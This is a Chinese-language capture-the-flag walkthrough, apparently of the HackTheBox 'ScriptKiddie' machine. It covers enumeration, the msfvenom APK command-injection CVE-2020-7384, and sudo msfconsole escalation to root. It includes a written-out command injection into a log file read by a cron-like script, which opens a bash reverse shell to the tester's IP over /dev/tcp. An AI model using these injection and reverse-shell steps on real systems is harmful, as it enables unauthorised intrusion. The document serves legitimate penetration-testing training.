Linux/ScriptKiddie

Linux/ScriptKiddie_第1张图片

Enumeration

nmap

第一次扫描发现系统对外开放了22和5000端口,端口详细信息如下

Linux/ScriptKiddie_第2张图片

22端口运行着openssh,5000端口则是werkzeug的httpd,tittle是kid's hacker tools

TCP/5000

首先从5000端口开始,先访问站点,站点是一个综合了三个攻击互动的网页,有nmap,payloads,sploits

Linux/ScriptKiddie_第3张图片

nmap会扫描给定ip的100个端口,是对外开放排名前100的端口,如果设置ip为127.0.0.1,没有其他收获

Linux/ScriptKiddie_第4张图片

sploits就是searchsploit,可以搜索指定服务的漏洞

Linux/ScriptKiddie_第5张图片

payloads会帮助生成payloads,输入lhost,也可以选择上传一个模版,点击generate后传递给msfvenom,然后生成 一个payload,并且提供一个下载链接

Linux/ScriptKiddie_第6张图片

Foothold

CVE-2020-7384

Metasploit Framework <= 6.0.11 受到 msfvenom 中 APK 模版命令注入漏洞的影响,尽管不知道目标运行的版本,但可以尝试一下。在metasploit中找到利用脚本,设置payload为cmd/unix/reverse_netcat,查看设置项,发现只需要设置本地地址和端口

执行后,会生成一个apk文件

这时,我可以开启本地监听,然后将apk上传

Linux/ScriptKiddie_第7张图片

点击generate生成后,等待一段时间后,网页报错

Linux/ScriptKiddie_第8张图片

但是在本地得到shell

Linux/ScriptKiddie_第9张图片

然后对shell进行一个升级,在kid目录下可以得到user.txt

Linux/ScriptKiddie_第10张图片

Lateral Movement

在寻找flag的过程中,还发现了另一个用户pwn

在pwn目录下发现了一个sh文件,scanlosers.sh

Linux/ScriptKiddie_第11张图片

该脚本读取/home/kid/logs/hackers中的ip地址,然后执行nmap命令

单个空格字符被用作字段分隔符(-d' '),从第三个字段开始的所有字段(-f3-)都被视为 IP 地址的一部分 此外,由于没有进行输入验证,脚本很容易被任意操作系统命令注入

Linux/ScriptKiddie_第12张图片

可是查看/home/kid/logs/hackers文件时却发现该文件没有内容,尝试查看/home/kid/html/app.py源代码 将代码复制并查看关键字hackers,部分代码如下,看起来是要匹配regex_alphanum,该处有什么规则

def searchsploit(text, srcip): if regex_alphanum.match(text): result = subprocess.check_output(['searchsploit', '--color', text]) return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore')) else: with open('/home/kid/logs/hackers', 'a') as f: f.write(f'[{datetime.datetime.now()}] {srcip}\n') return render_template('index.html', sserror="stop hacking me - well hack you back")

再次搜索关键字,得到下面的结果

regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')

如果提交的任何内容与该内容不匹配,则会将名称和源 IP 写入文件/home/kid/logs/hackers

回到网页中,进行操作,确实返回了这句话,但是hackers很快就会被清空,可能刚才的脚本在执行完nmap命令后会清空

可以在本地开启监听,然后向/home/kid/logs/hackers中写入反向shell 执行下面的脚本,然后在监听端得到shell

echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.14.3/5555 0>&1")' >/home/kid/logs/hackers

Linux/ScriptKiddie_第13张图片

Privilege Escalation

使用sudo -l,发现可以不需要密码以root权限执行msfconsole程序

Linux/ScriptKiddie_第14张图片

在GTFObins中找到利用方法

Linux/ScriptKiddie_第15张图片

按照上述方法执行即可提权至root

Linux/ScriptKiddie_第16张图片

你可能感兴趣的:(HackTheBox,网络安全,web安全)